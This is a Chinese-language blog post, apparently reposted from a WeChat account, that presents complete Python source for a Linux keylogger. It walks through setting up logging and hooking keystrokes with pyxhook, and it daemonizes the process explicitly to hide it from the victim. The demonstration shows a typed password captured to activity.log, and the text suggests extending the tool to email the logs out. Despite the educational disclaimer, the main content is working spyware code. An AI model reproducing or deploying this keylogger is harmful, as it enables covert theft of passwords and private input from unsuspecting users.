恶意软件模型- 间谍软件

admin 2024年1月3日13:15:11评论16 views字数 2887阅读9分37秒阅读模式

有许多方式可以监视受害者。我们的间谍软件键盘记录器代表,这是一个简单的程序,可以监视键盘上按下的键,并可以看到你输入的所有内容。这个键盘记录器keylogger.py文件中实现。

恶意软件模型- 间谍软件原文地址:https://hackerchi.top/article/79ed93ce-54af-4d84-86f1-4e75bda469de.html


间谍软件

有许多方式可以监视受害者。我们的间谍软件键盘记录器代表,这是一个简单的程序,可以监视键盘上按下的键,并可以看到你输入的所有内容。这个键盘记录器keylogger.py文件中实现。

行为演示

在执行键盘记录器(./keylogger.py)之前,我们不需要任何特定的准备。我们可以观察到执行后什么都没有发生,我们可以输入新的命令,就像我们只按下Enter键一样。现在你可以在你的系统上做任何你想做的事情。为了演示,你可以打开一个浏览器,输入像Passwd这样的东西,代表你可能的密码,就像你在社交媒体的任何登录页面上做的那样。

现在你可以发现,在我们的键盘记录器所在的同一个文件夹中,有一个新的文件activity.log。通过观察文件,你可以看到它包含了你在执行后按下的所有键,包括你的密码Passwd。攻击者可以轻易地访问这些文件,并修改键盘记录器,将它们发送到特定的电子邮件地址,或者与不同类型的恶意软件结合,他可能通过网络直接访问它们。

Key: P
Key: a
Key: s
Key: s
Key: w
Key: d

创建键盘记录器是一个非常简单的过程,如下所述,任何人只要具备基本的编程知识和操作系统的理解就可以做到。这就是为什么我们在执行任何不常见或不受信任的文件时,应该始终保持警惕。

它是如何工作的?

  • 首先,我们配置我们的记录器。我们可以指定应存储数据的文件以及消息的格式。

    logging.basicConfig(
    level=logging.DEBUG,
    filename='activity.log',
    format='Key: %(message)s',
    )
  • 然后我们必须获取日志文件处理器。我们将在下一步解释为什么。

    handler = logging.getLogger().handlers[0].stream
  • 为了使我们的间谍软件更难被受害者发现,我们希望它在后台作为守护进程运行。
    要了解更多关于守护进程的信息,请参阅
    守护进程指南。为此我们
    将使用标准的Python模块
    daemon,它将允许我们将我们的键盘记录器变为守护进程。
    当守护进程被创建时,我们将失去对所有文件处理器的连接,如
    stdout或甚至我们的日志文件,
    除非我们指定这些文件应该被保留。这就是为什么我们在前一步获取了日志文件处理器。在我们的隐藏守护进程的上下文中,我们现在可以创建键盘记录器并开始其活动。

    # Daemonize the process to hide it from the victim.
    with daemon.DaemonContext(files_preserve=[handler]):
    # Create keylogger.
    keylogger = Keylogger('SimpleSpyware')
    # Start logging activity of the user.
    keylogger.start_logging()
  • 为了获取_key press events_,我们可以使用一个名为pyxhook的Linux的python模块。如果我们
    要为Windows创建一个键盘记录器,我们应该使用
    pyHook模块,但是它们的接口非常相似。我们创建一个hooking manager,它将管理事件处理,并允许我们为这些事件设置回调。回调在我们的情况下是一个每次获取新事件时都会被调用的函数(_keydown_callback)。这个方法唯一做的就是将键记录到我们指定的文件activity.log中。

    hook_manager = pyxhook.HookManager()
    # Assign callback for handling key strokes.
    hook_manager.KeyDown = self._keydown_callback
    # Hook the keyboard and start logging.
    hook_manager.HookKeyboard()
    hook_manager.start()
#!/usr/bin/env python3

""" Python中的简单键盘记录器实现。
"""

import daemon
import logging
import pyxhook


class Keylogger:
""" 这个类代表了代码注入的恶意软件。"""

def __init__(self, name):
self._name = name

@property
def name(self):
""" 恶意软件的名称。"""
return self._name

@name.setter
def name(self, new_name):
self._name = new_name

def start_logging(self):
""" 记录用户的每一个键盘击键到日志文件中。"""
# 创建钩子管理器。
hook_manager = pyxhook.HookManager()
# 分配回调以处理键盘击键。
hook_manager.KeyDown = self._keydown_callback
# 钩住键盘并开始记录。
hook_manager.HookKeyboard()
hook_manager.start()

def _keydown_callback(self, key):
""" 这个函数是键盘击键事件的处理器。"""
logging.debug(chr(key.Ascii))


if __name__ == '__main__':
# 设置日志记录器。
logging.basicConfig(
level=logging.DEBUG,
filename='activity.log',
format='Key: %(message)s',
)
# 获取文件处理器。我们需要将它传递给我们的守护进程。
handler = logging.getLogger().handlers[0].stream

# 将进程守护化以隐藏它从受害者。
with daemon.DaemonContext(files_preserve=[handler]):
# 创建键盘记录器。
keylogger = Keylogger('SimpleSpyware')
# 开始记录用户的活动。
keylogger.start_logging()

欢迎访问我们的网站和关注我们的公众号,获取最新的技术共享内容、创新想法和安全知识。

网站:hackerchi.top

微信公众号:黑客驰


💡

免责声明

本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。

本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。

原文始发于微信公众号(黑客驰):恶意软件模型- 间谍软件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月3日13:15:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   恶意软件模型- 间谍软件https://cn-sec.com/archives/2359030.html

发表评论

匿名网友 填写信息